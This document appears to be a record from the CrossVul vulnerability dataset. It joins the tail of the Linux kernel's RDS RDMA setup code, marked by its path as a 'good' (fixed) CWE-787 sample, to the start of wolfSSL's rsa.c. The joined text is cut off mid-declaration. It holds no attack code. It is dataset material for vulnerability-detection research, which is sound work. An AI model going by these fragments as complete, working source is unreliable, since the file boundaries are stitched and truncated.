set_page_dirty(page); put_page(page); kfree(ao->op_notifier); ao->op_notifier = NULL; ao->op_active = 0; } /* * Count the number of pages needed to describe an incoming iovec array. */ static int rds_rdma_pages(struct rds_iovec iov[], int nr_iovecs) { int tot_pages = 0; unsigned int nr_pages; unsigned int i; /* figure out the number of pages in the vector */ for (i = 0; i < nr_iovecs; i++) { nr_pages = rds_pages_in_vec(&iov[i]); if (nr_pages == 0) return -EINVAL; tot_pages += nr_pages; /* * nr_pages for one entry is limited to (UINT_MAX>>PAGE_SHIFT)+1, * so tot_pages cannot overflow without first going negative. */ if (tot_pages < 0) return -EINVAL; } return tot_pages; } int rds_rdma_extra_size(struct rds_rdma_args *args) { struct rds_iovec vec; struct rds_iovec __user *local_vec; int tot_pages = 0; unsigned int nr_pages; unsigned int i; local_vec = (struct rds_iovec __user *)(unsigned long) args->local_vec_addr; if (args->nr_local == 0) return -EINVAL; /* figure out the number of pages in the vector */ for (i = 0; i < args->nr_local; i++) { if (copy_from_user(&vec, &local_vec[i], sizeof(struct rds_iovec))) return -EFAULT; nr_pages = rds_pages_in_vec(&vec); if (nr_pages == 0) return -EINVAL; tot_pages += nr_pages; /* * nr_pages for one entry is limited to (UINT_MAX>>PAGE_SHIFT)+1, * so tot_pages cannot overflow without first going negative. */ if (tot_pages < 0) return -EINVAL; } return tot_pages * sizeof(struct scatterlist); } /* * The application asks for a RDMA transfer. * Extract all arguments and set up the rdma_op */ int rds_cmsg_rdma_args(struct rds_sock *rs, struct rds_message *rm, struct cmsghdr *cmsg) { struct rds_rdma_args *args; struct rm_rdma_op *op = &rm->rdma; int nr_pages; unsigned int nr_bytes; struct page **pages = NULL; struct rds_iovec iovstack[UIO_FASTIOV], *iovs = iovstack; int iov_size; unsigned int i, j; int ret = 0; if (cmsg->cmsg_len < CMSG_LEN(sizeof(struct rds_rdma_args)) || rm->rdma.op_active) return -EINVAL; args = CMSG_DATA(cmsg); if (rs->rs_bound_addr == 0) { ret = -ENOTCONN; /* XXX not a great errno */ goto out_ret; } if (args->nr_local > UIO_MAXIOV) { ret = -EMSGSIZE; goto out_ret; } /* Check whether to allocate the iovec area */ iov_size = args->nr_local * sizeof(struct rds_iovec); if (args->nr_local > UIO_FASTIOV) { iovs = sock_kmalloc(rds_rs_to_sk(rs), iov_size, GFP_KERNEL); if (!iovs) { ret = -ENOMEM; goto out_ret; } } if (copy_from_user(iovs, (struct rds_iovec __user *)(unsigned long) args->local_vec_addr, iov_size)) { ret = -EFAULT; goto out; } nr_pages = rds_rdma_pages(iovs, args->nr_local); if (nr_pages < 0) { ret = -EINVAL; goto out; } pages = kcalloc(nr_pages, sizeof(struct page *), GFP_KERNEL); if (!pages) { ret = -ENOMEM; goto out; } op->op_write = !!(args->flags & RDS_RDMA_READWRITE); op->op_fence = !!(args->flags & RDS_RDMA_FENCE); op->op_notify = !!(args->flags & RDS_RDMA_NOTIFY_ME); op->op_silent = !!(args->flags & RDS_RDMA_SILENT); op->op_active = 1; op->op_recverr = rs->rs_recverr; WARN_ON(!nr_pages); op->op_sg = rds_message_alloc_sgs(rm, nr_pages); if (!op->op_sg) { ret = -ENOMEM; goto out; } if (op->op_notify || op->op_recverr) { /* We allocate an uninitialized notifier here, because * we don't want to do that in the completion handler. We * would have to use GFP_ATOMIC there, and don't want to deal * with failed allocations. */ op->op_notifier = kmalloc(sizeof(struct rds_notifier), GFP_KERNEL); if (!op->op_notifier) { ret = -ENOMEM; goto out; } op->op_notifier->n_user_token = args->user_token; op->op_notifier->n_status = RDS_RDMA_SUCCESS; /* Enable rmda notification on data operation for composite * rds messages and make sure notification is enabled only * for the data operation which follows it so that application * gets notified only after full message gets delivered. */ if (rm->data.op_sg) { rm->rdma.op_notify = 0; rm->data.op_notify = !!(args->flags & RDS_RDMA_NOTIFY_ME); } } /* The cookie contains the R_Key of the remote memory region, and * optionally an offset into it. This is how we implement RDMA into * unaligned memory. * When setting up the RDMA, we need to add that offset to the * destination address (which is really an offset into the MR) * FIXME: We may want to move this into ib_rdma.c */ op->op_rkey = rds_rdma_cookie_key(args->cookie); op->op_remote_addr = args->remote_vec.addr + rds_rdma_cookie_offset(args->cookie); nr_bytes = 0; rdsdebug("RDS: rdma prepare nr_local %llu rva %llx rkey %x\n", (unsigned long long)args->nr_local, (unsigned long long)args->remote_vec.addr, op->op_rkey); for (i = 0; i < args->nr_local; i++) { struct rds_iovec *iov = &iovs[i]; /* don't need to check, rds_rdma_pages() verified nr will be +nonzero */ unsigned int nr = rds_pages_in_vec(iov); rs->rs_user_addr = iov->addr; rs->rs_user_bytes = iov->bytes; /* If it's a WRITE operation, we want to pin the pages for reading. * If it's a READ operation, we need to pin the pages for writing. */ ret = rds_pin_pages(iov->addr, nr, pages, !op->op_write); if (ret < 0) goto out; else ret = 0; rdsdebug("RDS: nr_bytes %u nr %u iov->bytes %llu iov->addr %llx\n", nr_bytes, nr, iov->bytes, iov->addr); nr_bytes += iov->bytes; for (j = 0; j < nr; j++) { unsigned int offset = iov->addr & ~PAGE_MASK; struct scatterlist *sg; sg = &op->op_sg[op->op_nents + j]; sg_set_page(sg, pages[j], min_t(unsigned int, iov->bytes, PAGE_SIZE - offset), offset); rdsdebug("RDS: sg->offset %x sg->len %x iov->addr %llx iov->bytes %llu\n", sg->offset, sg->length, iov->addr, iov->bytes); iov->addr += sg->length; iov->bytes -= sg->length; } op->op_nents += nr; } if (nr_bytes > args->remote_vec.bytes) { rdsdebug("RDS nr_bytes %u remote_bytes %u do not match\n", nr_bytes, (unsigned int) args->remote_vec.bytes); ret = -EINVAL; goto out; } op->op_bytes = nr_bytes; out: if (iovs != iovstack) sock_kfree_s(rds_rs_to_sk(rs), iovs, iov_size); kfree(pages); out_ret: if (ret) rds_rdma_free_op(op); else rds_stats_inc(s_send_rdma); return ret; } /* * The application wants us to pass an RDMA destination (aka MR) * to the remote */ int rds_cmsg_rdma_dest(struct rds_sock *rs, struct rds_message *rm, struct cmsghdr *cmsg) { unsigned long flags; struct rds_mr *mr; u32 r_key; int err = 0; if (cmsg->cmsg_len < CMSG_LEN(sizeof(rds_rdma_cookie_t)) || rm->m_rdma_cookie != 0) return -EINVAL; memcpy(&rm->m_rdma_cookie, CMSG_DATA(cmsg), sizeof(rm->m_rdma_cookie)); /* We are reusing a previously mapped MR here. Most likely, the * application has written to the buffer, so we need to explicitly * flush those writes to RAM. Otherwise the HCA may not see them * when doing a DMA from that buffer. */ r_key = rds_rdma_cookie_key(rm->m_rdma_cookie); spin_lock_irqsave(&rs->rs_rdma_lock, flags); mr = rds_mr_tree_walk(&rs->rs_rdma_keys, r_key, NULL); if (!mr) err = -EINVAL; /* invalid r_key */ else refcount_inc(&mr->r_refcount); spin_unlock_irqrestore(&rs->rs_rdma_lock, flags); if (mr) { mr->r_trans->sync_mr(mr->r_trans_private, DMA_TO_DEVICE); rm->rdma.op_rdma_mr = mr; } return err; } /* * The application passes us an address range it wants to enable RDMA * to/from. We map the area, and save the <R_Key,offset> pair * in rm->m_rdma_cookie. This causes it to be sent along to the peer * in an extension header. */ int rds_cmsg_rdma_map(struct rds_sock *rs, struct rds_message *rm, struct cmsghdr *cmsg) { if (cmsg->cmsg_len < CMSG_LEN(sizeof(struct rds_get_mr_args)) || rm->m_rdma_cookie != 0) return -EINVAL; return __rds_rdma_map(rs, CMSG_DATA(cmsg), &rm->m_rdma_cookie, &rm->rdma.op_rdma_mr); } /* * Fill in rds_message for an atomic request. */ int rds_cmsg_atomic(struct rds_sock *rs, struct rds_message *rm, struct cmsghdr *cmsg) { struct page *page = NULL; struct rds_atomic_args *args; int ret = 0; if (cmsg->cmsg_len < CMSG_LEN(sizeof(struct rds_atomic_args)) || rm->atomic.op_active) return -EINVAL; args = CMSG_DATA(cmsg); /* Nonmasked & masked cmsg ops converted to masked hw ops */ switch (cmsg->cmsg_type) { case RDS_CMSG_ATOMIC_FADD: rm->atomic.op_type = RDS_ATOMIC_TYPE_FADD; rm->atomic.op_m_fadd.add = args->fadd.add; rm->atomic.op_m_fadd.nocarry_mask = 0; break; case RDS_CMSG_MASKED_ATOMIC_FADD: rm->atomic.op_type = RDS_ATOMIC_TYPE_FADD; rm->atomic.op_m_fadd.add = args->m_fadd.add; rm->atomic.op_m_fadd.nocarry_mask = args->m_fadd.nocarry_mask; break; case RDS_CMSG_ATOMIC_CSWP: rm->atomic.op_type = RDS_ATOMIC_TYPE_CSWP; rm->atomic.op_m_cswp.compare = args->cswp.compare; rm->atomic.op_m_cswp.swap = args->cswp.swap; rm->atomic.op_m_cswp.compare_mask = ~0; rm->atomic.op_m_cswp.swap_mask = ~0; break; case RDS_CMSG_MASKED_ATOMIC_CSWP: rm->atomic.op_type = RDS_ATOMIC_TYPE_CSWP; rm->atomic.op_m_cswp.compare = args->m_cswp.compare; rm->atomic.op_m_cswp.swap = args->m_cswp.swap; rm->atomic.op_m_cswp.compare_mask = args->m_cswp.compare_mask; rm->atomic.op_m_cswp.swap_mask = args->m_cswp.swap_mask; break; default: BUG(); /* should never happen */ } rm->atomic.op_notify = !!(args->flags & RDS_RDMA_NOTIFY_ME); rm->atomic.op_silent = !!(args->flags & RDS_RDMA_SILENT); rm->atomic.op_active = 1; rm->atomic.op_recverr = rs->rs_recverr; rm->atomic.op_sg = rds_message_alloc_sgs(rm, 1); if (!rm->atomic.op_sg) { ret = -ENOMEM; goto err; } /* verify 8 byte-aligned */ if (args->local_addr & 0x7) { ret = -EFAULT; goto err; } ret = rds_pin_pages(args->local_addr, 1, &page, 1); if (ret != 1) goto err; ret = 0; sg_set_page(rm->atomic.op_sg, page, 8, offset_in_page(args->local_addr)); if (rm->atomic.op_notify || rm->atomic.op_recverr) { /* We allocate an uninitialized notifier here, because * we don't want to do that in the completion handler. We * would have to use GFP_ATOMIC there, and don't want to deal * with failed allocations. */ rm->atomic.op_notifier = kmalloc(sizeof(*rm->atomic.op_notifier), GFP_KERNEL); if (!rm->atomic.op_notifier) { ret = -ENOMEM; goto err; } rm->atomic.op_notifier->n_user_token = args->user_token; rm->atomic.op_notifier->n_status = RDS_RDMA_SUCCESS; } rm->atomic.op_rkey = rds_rdma_cookie_key(args->cookie); rm->atomic.op_remote_addr = args->remote_addr + rds_rdma_cookie_offset(args->cookie); return ret; err: if (page) put_page(page); kfree(rm->atomic.op_notifier); return ret; }
./CrossVul/dataset_final_sorted/CWE-787/c/good_572_0
crossvul-cpp_data_good_4490_0
/* rsa.c * * Copyright (C) 2006-2020 wolfSSL Inc. * * This file is part of wolfSSL. * * wolfSSL is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * wolfSSL is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335, USA */ /* DESCRIPTION This library provides the interface to the RSA. RSA keys can be used to encrypt, decrypt, sign and verify data. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #include <wolfssl/wolfcrypt/settings.h> #include <wolfssl/wolfcrypt/error-crypt.h> #ifndef NO_RSA #if defined(HAVE_FIPS) && \ defined(HAVE_FIPS_VERSION) && (HAVE_FIPS_VERSION >= 2) /* set NO_WRAPPERS before headers, use direct internal f()s not wrappers */ #define FIPS_NO_WRAPPERS #ifdef USE_WINDOWS_API #pragma code_seg(".fipsA$e") #pragma const_seg(".fipsB$e") #endif #endif #include <wolfssl/wolfcrypt/rsa.h> #ifdef WOLFSSL_AFALG_XILINX_RSA #include <wolfssl/wolfcrypt/port/af_alg/wc_afalg.h> #endif #ifdef WOLFSSL_HAVE_SP_RSA #include <wolfssl/wolfcrypt/sp.h> #endif /* Possible RSA enable options: * NO_RSA: Overall control of RSA default: on (not defined) * WC_RSA_BLINDING: Uses Blinding w/ Private Ops default: off Note: slower by ~20% * WOLFSSL_KEY_GEN: Allows Private Key Generation default: off * RSA_LOW_MEM: NON CRT Private Operations, less memory default: off * WC_NO_RSA_OAEP: Disables RSA OAEP padding default: on (not defined) * WC_RSA_NONBLOCK: Enables support for RSA non-blocking default: off * WC_RSA_NONBLOCK_TIME:Enables support for time based blocking default: off * time calculation. */ /* RSA Key Size Configuration: * FP_MAX_BITS: With USE_FAST_MATH only default: 4096 If USE_FAST_MATH then use this to override default. Value is key size * 2. Example: RSA 3072 = 6144 */ /* If building for old FIPS. */ #if defined(HAVE_FIPS) && \ (!defined(HAVE_FIPS_VERSION) || (HAVE_FIPS_VERSION < 2)) int wc_InitRsaKey(RsaKey* key, void* ptr) { if (key == NULL) { return BAD_FUNC_ARG; } return InitRsaKey_fips(key, ptr); } int wc_InitRsaKey_ex(RsaKey* key, void* ptr, int devId) { (void)devId; if (key == NULL) { return BAD_FUNC_ARG; } return InitRsaKey_fips(key, ptr); } int wc_FreeRsaKey(RsaKey* key) { return FreeRsaKey_fips(key); } #ifndef WOLFSSL_RSA_VERIFY_ONLY int wc_RsaPublicEncrypt(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key, WC_RNG* rng) { if (in == NULL || out == NULL || key == NULL || rng == NULL) { return BAD_FUNC_ARG; } return RsaPublicEncrypt_fips(in, inLen, out, outLen, key, rng); } #endif #ifndef WOLFSSL_RSA_PUBLIC_ONLY int wc_RsaPrivateDecryptInline(byte* in, word32 inLen, byte** out, RsaKey* key) { if (in == NULL || out == NULL || key == NULL) { return BAD_FUNC_ARG; } return RsaPrivateDecryptInline_fips(in, inLen, out, key); } int wc_RsaPrivateDecrypt(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key) { if (in == NULL || out == NULL || key == NULL) { return BAD_FUNC_ARG; } return RsaPrivateDecrypt_fips(in, inLen, out, outLen, key); } int wc_RsaSSL_Sign(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key, WC_RNG* rng) { if (in == NULL || out == NULL || key == NULL || inLen == 0) { return BAD_FUNC_ARG; } return RsaSSL_Sign_fips(in, inLen, out, outLen, key, rng); } #endif int wc_RsaSSL_VerifyInline(byte* in, word32 inLen, byte** out, RsaKey* key) { if (in == NULL || out == NULL || key == NULL) { return BAD_FUNC_ARG; } return RsaSSL_VerifyInline_fips(in, inLen, out, key); } int wc_RsaSSL_Verify(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key) { if (in == NULL || out == NULL || key == NULL || inLen == 0) { return BAD_FUNC_ARG; } return RsaSSL_Verify_fips(in, inLen, out, outLen, key); } int wc_RsaEncryptSize(RsaKey* key) { if (key == NULL) { return BAD_FUNC_ARG; } return RsaEncryptSize_fips(key); } #ifndef WOLFSSL_RSA_VERIFY_ONLY int wc_RsaFlattenPublicKey(RsaKey* key, byte* a, word32* aSz, byte* b, word32* bSz) { /* not specified as fips so not needing _fips */ return RsaFlattenPublicKey(key, a, aSz, b, bSz); } #endif #ifdef WOLFSSL_KEY_GEN int wc_MakeRsaKey(RsaKey* key, int size, long e, WC_RNG* rng) { return MakeRsaKey(key, size, e, rng); } #endif /* these are functions in asn and are routed to wolfssl/wolfcrypt/asn.c * wc_RsaPrivateKeyDecode * wc_RsaPublicKeyDecode */ #else /* else build without fips, or for new fips */ #include <wolfssl/wolfcrypt/random.h> #include <wolfssl/wolfcrypt/logging.h> #ifdef WOLF_CRYPTO_CB #include <wolfssl/wolfcrypt/cryptocb.h> #endif #ifdef NO_INLINE #include <wolfssl/wolfcrypt/misc.h> #else #define WOLFSSL_MISC_INCLUDED #include <wolfcrypt/src/misc.c> #endif enum { RSA_STATE_NONE = 0, RSA_STATE_ENCRYPT_PAD, RSA_STATE_ENCRYPT_EXPTMOD, RSA_STATE_ENCRYPT_RES, RSA_STATE_DECRYPT_EXPTMOD, RSA_STATE_DECRYPT_UNPAD, RSA_STATE_DECRYPT_RES, }; static void wc_RsaCleanup(RsaKey* key) { #ifndef WOLFSSL_RSA_VERIFY_INLINE if (key && key->data) { /* make sure any allocated memory is free'd */ if (key->dataIsAlloc) { #ifndef WOLFSSL_RSA_PUBLIC_ONLY if (key->type == RSA_PRIVATE_DECRYPT || key->type == RSA_PRIVATE_ENCRYPT) { ForceZero(key->data, key->dataLen); } #endif XFREE(key->data, key->heap, DYNAMIC_TYPE_WOLF_BIGINT); key->dataIsAlloc = 0; } key->data = NULL; key->dataLen = 0; } #else (void)key; #endif } int wc_InitRsaKey_ex(RsaKey* key, void* heap, int devId) { int ret = 0; if (key == NULL) { return BAD_FUNC_ARG; } XMEMSET(key, 0, sizeof(RsaKey)); key->type = RSA_TYPE_UNKNOWN; key->state = RSA_STATE_NONE; key->heap = heap; #ifndef WOLFSSL_RSA_VERIFY_INLINE key->dataIsAlloc = 0; key->data = NULL; #endif key->dataLen = 0; #ifdef WC_RSA_BLINDING key->rng = NULL; #endif #ifdef WOLF_CRYPTO_CB key->devId = devId; #else (void)devId; #endif #ifdef WOLFSSL_ASYNC_CRYPT #ifdef WOLFSSL_CERT_GEN XMEMSET(&key->certSignCtx, 0, sizeof(CertSignCtx)); #endif #ifdef WC_ASYNC_ENABLE_RSA /* handle as async */ ret = wolfAsync_DevCtxInit(&key->asyncDev, WOLFSSL_ASYNC_MARKER_RSA, key->heap, devId); if (ret != 0) return ret; #endif /* WC_ASYNC_ENABLE_RSA */ #endif /* WOLFSSL_ASYNC_CRYPT */ #ifndef WOLFSSL_RSA_PUBLIC_ONLY ret = mp_init_multi(&key->n, &key->e, NULL, NULL, NULL, NULL); if (ret != MP_OKAY) return ret; #if !defined(WOLFSSL_KEY_GEN) && !defined(OPENSSL_EXTRA) && defined(RSA_LOW_MEM) ret = mp_init_multi(&key->d, &key->p, &key->q, NULL, NULL, NULL); #else ret = mp_init_multi(&key->d, &key->p, &key->q, &key->dP, &key->dQ, &key->u); #endif if (ret != MP_OKAY) { mp_clear(&key->n); mp_clear(&key->e); return ret; } #else ret = mp_init(&key->n); if (ret != MP_OKAY) return ret; ret = mp_init(&key->e); if (ret != MP_OKAY) { mp_clear(&key->n); return ret; } #endif #ifdef WOLFSSL_XILINX_CRYPT key->pubExp = 0; key->mod = NULL; #endif #ifdef WOLFSSL_AFALG_XILINX_RSA key->alFd = WC_SOCK_NOTSET; key->rdFd = WC_SOCK_NOTSET; #endif return ret; } int wc_InitRsaKey(RsaKey* key, void* heap) { return wc_InitRsaKey_ex(key, heap, INVALID_DEVID); } #ifdef HAVE_PKCS11 int wc_InitRsaKey_Id(RsaKey* key, unsigned char* id, int len, void* heap, int devId) { int ret = 0; if (key == NULL) ret = BAD_FUNC_ARG; if (ret == 0 && (len < 0 || len > RSA_MAX_ID_LEN)) ret = BUFFER_E; if (ret == 0) ret = wc_InitRsaKey_ex(key, heap, devId); if (ret == 0 && id != NULL && len != 0) { XMEMCPY(key->id, id, len); key->idLen = len; } return ret; } #endif #ifdef WOLFSSL_XILINX_CRYPT #define MAX_E_SIZE 4 /* Used to setup hardware state * * key the RSA key to setup * * returns 0 on success */ int wc_InitRsaHw(RsaKey* key) { unsigned char* m; /* RSA modulous */ word32 e = 0; /* RSA public exponent */ int mSz; int eSz; if (key == NULL) { return BAD_FUNC_ARG; } mSz = mp_unsigned_bin_size(&(key->n)); m = (unsigned char*)XMALLOC(mSz, key->heap, DYNAMIC_TYPE_KEY); if (m == NULL) { return MEMORY_E; } if (mp_to_unsigned_bin(&(key->n), m) != MP_OKAY) { WOLFSSL_MSG("Unable to get RSA key modulus"); XFREE(m, key->heap, DYNAMIC_TYPE_KEY); return MP_READ_E; } eSz = mp_unsigned_bin_size(&(key->e)); if (eSz > MAX_E_SIZE) { WOLFSSL_MSG("Exponent of size 4 bytes expected"); XFREE(m, key->heap, DYNAMIC_TYPE_KEY); return BAD_FUNC_ARG; } if (mp_to_unsigned_bin(&(key->e), (byte*)&e + (MAX_E_SIZE - eSz)) != MP_OKAY) { XFREE(m, key->heap, DYNAMIC_TYPE_KEY); WOLFSSL_MSG("Unable to get RSA key exponent"); return MP_READ_E; } /* check for existing mod buffer to avoid memory leak */ if (key->mod != NULL) { XFREE(key->mod, key->heap, DYNAMIC_TYPE_KEY); } key->pubExp = e; key->mod = m; if (XSecure_RsaInitialize(&(key->xRsa), key->mod, NULL, (byte*)&(key->pubExp)) != XST_SUCCESS) { WOLFSSL_MSG("Unable to initialize RSA on hardware"); XFREE(m, key->heap, DYNAMIC_TYPE_KEY); return BAD_STATE_E; } #ifdef WOLFSSL_XILINX_PATCH /* currently a patch of xsecure_rsa.c for 2048 bit keys */ if (wc_RsaEncryptSize(key) == 256) { if (XSecure_RsaSetSize(&(key->xRsa), 2048) != XST_SUCCESS) { WOLFSSL_MSG("Unable to set RSA key size on hardware"); XFREE(m, key->heap, DYNAMIC_TYPE_KEY); return BAD_STATE_E; } } #endif return 0; } /* WOLFSSL_XILINX_CRYPT*/ #elif defined(WOLFSSL_CRYPTOCELL) int wc_InitRsaHw(RsaKey* key) { CRYSError_t ret = 0; byte e[3]; word32 eSz = sizeof(e); byte n[256]; word32 nSz = sizeof(n); byte d[256]; word32 dSz = sizeof(d); byte p[128]; word32 pSz = sizeof(p); byte q[128]; word32 qSz = sizeof(q); if (key == NULL) { return BAD_FUNC_ARG; } ret = wc_RsaExportKey(key, e, &eSz, n, &nSz, d, &dSz, p, &pSz, q, &qSz); if (ret != 0) return MP_READ_E; ret = CRYS_RSA_Build_PubKey(&key->ctx.pubKey, e, eSz, n, nSz); if (ret != SA_SILIB_RET_OK){ WOLFSSL_MSG("CRYS_RSA_Build_PubKey failed"); return ret; } ret = CRYS_RSA_Build_PrivKey(&key->ctx.privKey, d, dSz, e, eSz, n, nSz); if (ret != SA_SILIB_RET_OK){ WOLFSSL_MSG("CRYS_RSA_Build_PrivKey failed"); return ret; } key->type = RSA_PRIVATE; return 0; } static int cc310_RSA_GenerateKeyPair(RsaKey* key, int size, long e) { CRYSError_t ret = 0; CRYS_RSAKGData_t KeyGenData; CRYS_RSAKGFipsContext_t FipsCtx; byte ex[3]; uint16_t eSz = sizeof(ex); byte n[256]; uint16_t nSz = sizeof(n); ret = CRYS_RSA_KG_GenerateKeyPair(&wc_rndState, wc_rndGenVectFunc, (byte*)&e, 3*sizeof(uint8_t), size, &key->ctx.privKey, &key->ctx.pubKey, &KeyGenData, &FipsCtx); if (ret != SA_SILIB_RET_OK){ WOLFSSL_MSG("CRYS_RSA_KG_GenerateKeyPair failed"); return ret; } ret = CRYS_RSA_Get_PubKey(&key->ctx.pubKey, ex, &eSz, n, &nSz); if (ret != SA_SILIB_RET_OK){ WOLFSSL_MSG("CRYS_RSA_Get_PubKey failed"); return ret; } ret = wc_RsaPublicKeyDecodeRaw(n, nSz, ex, eSz, key); key->type = RSA_PRIVATE; return ret; } #endif /* WOLFSSL_CRYPTOCELL */ int wc_FreeRsaKey(RsaKey* key) { int ret = 0; if (key == NULL) { return BAD_FUNC_ARG; } wc_RsaCleanup(key); #if defined(WOLFSSL_ASYNC_CRYPT) && defined(WC_ASYNC_ENABLE_RSA) wolfAsync_DevCtxFree(&key->asyncDev, WOLFSSL_ASYNC_MARKER_RSA); #endif #ifndef WOLFSSL_RSA_PUBLIC_ONLY if (key->type == RSA_PRIVATE) { #if defined(WOLFSSL_KEY_GEN) || defined(OPENSSL_EXTRA) || !defined(RSA_LOW_MEM) mp_forcezero(&key->u); mp_forcezero(&key->dQ); mp_forcezero(&key->dP); #endif mp_forcezero(&key->q); mp_forcezero(&key->p); mp_forcezero(&key->d); } /* private part */ #if defined(WOLFSSL_KEY_GEN) || defined(OPENSSL_EXTRA) || !defined(RSA_LOW_MEM) mp_clear(&key->u); mp_clear(&key->dQ); mp_clear(&key->dP); #endif mp_clear(&key->q); mp_clear(&key->p); mp_clear(&key->d); #endif /* WOLFSSL_RSA_PUBLIC_ONLY */ /* public part */ mp_clear(&key->e); mp_clear(&key->n); #ifdef WOLFSSL_XILINX_CRYPT XFREE(key->mod, key->heap, DYNAMIC_TYPE_KEY); key->mod = NULL; #endif #ifdef WOLFSSL_AFALG_XILINX_RSA /* make sure that sockets are closed on cleanup */ if (key->alFd > 0) { close(key->alFd); key->alFd = WC_SOCK_NOTSET; } if (key->rdFd > 0) { close(key->rdFd); key->rdFd = WC_SOCK_NOTSET; } #endif return ret; } #ifndef WOLFSSL_RSA_PUBLIC_ONLY #if defined(WOLFSSL_KEY_GEN) && !defined(WOLFSSL_NO_RSA_KEY_CHECK) /* Check the pair-wise consistency of the RSA key. * From NIST SP 800-56B, section 6.4.1.1. * Verify that k = (k^e)^d, for some k: 1 < k < n-1. */ int wc_CheckRsaKey(RsaKey* key) { #if defined(WOLFSSL_CRYPTOCELL) return 0; #endif #ifdef WOLFSSL_SMALL_STACK mp_int *k = NULL, *tmp = NULL; #else mp_int k[1], tmp[1]; #endif int ret = 0; #ifdef WOLFSSL_SMALL_STACK k = (mp_int*)XMALLOC(sizeof(mp_int) * 2, NULL, DYNAMIC_TYPE_RSA); if (k == NULL) return MEMORY_E; tmp = k + 1; #endif if (mp_init_multi(k, tmp, NULL, NULL, NULL, NULL) != MP_OKAY) ret = MP_INIT_E; if (ret == 0) { if (key == NULL) ret = BAD_FUNC_ARG; } if (ret == 0) { if (mp_set_int(k, 0x2342) != MP_OKAY) ret = MP_READ_E; } #ifdef WOLFSSL_HAVE_SP_RSA if (ret == 0) { switch (mp_count_bits(&key->n)) { #ifndef WOLFSSL_SP_NO_2048 case 2048: ret = sp_ModExp_2048(k, &key->e, &key->n, tmp); if (ret != 0) ret = MP_EXPTMOD_E; if (ret == 0) { ret = sp_ModExp_2048(tmp, &key->d, &key->n, tmp); if (ret != 0) ret = MP_EXPTMOD_E; } break; #endif /* WOLFSSL_SP_NO_2048 */ #ifndef WOLFSSL_SP_NO_3072 case 3072: ret = sp_ModExp_3072(k, &key->e, &key->n, tmp); if (ret != 0) ret = MP_EXPTMOD_E; if (ret == 0) { ret = sp_ModExp_3072(tmp, &key->d, &key->n, tmp); if (ret != 0) ret = MP_EXPTMOD_E; } break; #endif /* WOLFSSL_SP_NO_3072 */ #ifdef WOLFSSL_SP_4096 case 4096: ret = sp_ModExp_4096(k, &key->e, &key->n, tmp); if (ret != 0) ret = MP_EXPTMOD_E; if (ret == 0) { ret = sp_ModExp_4096(tmp, &key->d, &key->n, tmp); if (ret != 0) ret = MP_EXPTMOD_E; } break; #endif /* WOLFSSL_SP_4096 */ default: /* If using only single prcsision math then issue key size error, otherwise fall-back to multi-precision math calculation */ #ifdef WOLFSSL_SP_MATH ret = WC_KEY_SIZE_E; #endif break; } } #endif /* WOLFSSL_HAVE_SP_RSA */ #ifndef WOLFSSL_SP_MATH if (ret == 0) { if (mp_exptmod(k, &key->e, &key->n, tmp) != MP_OKAY) ret = MP_EXPTMOD_E; } if (ret == 0) { if (mp_exptmod(tmp, &key->d, &key->n, tmp) != MP_OKAY) ret = MP_EXPTMOD_E; } #endif /* !WOLFSSL_SP_MATH */ if (ret == 0) { if (mp_cmp(k, tmp) != MP_EQ) ret = RSA_KEY_PAIR_E; } /* Check d is less than n. */ if (ret == 0 ) { if (mp_cmp(&key->d, &key->n) != MP_LT) { ret = MP_EXPTMOD_E; } } /* Check p*q = n. */ if (ret == 0 ) { if (mp_mul(&key->p, &key->q, tmp) != MP_OKAY) { ret = MP_EXPTMOD_E; } } if (ret == 0 ) { if (mp_cmp(&key->n, tmp) != MP_EQ) { ret = MP_EXPTMOD_E; } } /* Check dP, dQ and u if they exist */ if (ret == 0 && !mp_iszero(&key->dP)) { if (mp_sub_d(&key->p, 1, tmp) != MP_OKAY) { ret = MP_EXPTMOD_E; } /* Check dP <= p-1. */ if (ret == 0) { if (mp_cmp(&key->dP, tmp) != MP_LT) { ret = MP_EXPTMOD_E; } } /* Check e*dP mod p-1 = 1. (dP = 1/e mod p-1) */ if (ret == 0) { if (mp_mulmod(&key->dP, &key->e, tmp, tmp) != MP_OKAY) { ret = MP_EXPTMOD_E; } } if (ret == 0 ) { if (!mp_isone(tmp)) { ret = MP_EXPTMOD_E; } } if (ret == 0) { if (mp_sub_d(&key->q, 1, tmp) != MP_OKAY) { ret = MP_EXPTMOD_E; } } /* Check dQ <= q-1. */ if (ret == 0) { if (mp_cmp(&key->dQ, tmp) != MP_LT) { ret = MP_EXPTMOD_E; } } /* Check e*dP mod p-1 = 1. (dQ = 1/e mod q-1) */ if (ret == 0) { if (mp_mulmod(&key->dQ, &key->e, tmp, tmp) != MP_OKAY) { ret = MP_EXPTMOD_E; } } if (ret == 0 ) { if (!mp_isone(tmp)) { ret = MP_EXPTMOD_E; } } /* Check u <= p. */ if (ret == 0) { if (mp_cmp(&key->u, &key->p) != MP_LT) { ret = MP_EXPTMOD_E; } } /* Check u*q mod p = 1. (u = 1/q mod p) */ if (ret == 0) { if (mp_mulmod(&key->u, &key->q, &key->p, tmp) != MP_OKAY) { ret = MP_EXPTMOD_E; } } if (ret == 0 ) { if (!mp_isone(tmp)) { ret = MP_EXPTMOD_E; } } } mp_forcezero(tmp); mp_clear(tmp); mp_clear(k); #ifdef WOLFSSL_SMALL_STACK XFREE(k, NULL, DYNAMIC_TYPE_RSA); #endif return ret; } #endif /* WOLFSSL_KEY_GEN && !WOLFSSL_NO_RSA_KEY_CHECK */ #endif /* WOLFSSL_RSA_PUBLIC_ONLY */ #if !defined(WC_NO_RSA_OAEP) || defined(WC_RSA_PSS) /* Uses MGF1 standard as a mask generation function hType: hash type used seed: seed to use for generating mask seedSz: size of seed buffer out: mask output after generation outSz: size of output buffer */ #if !defined(NO_SHA) || !defined(NO_SHA256) || defined(WOLFSSL_SHA384) || defined(WOLFSSL_SHA512) static int 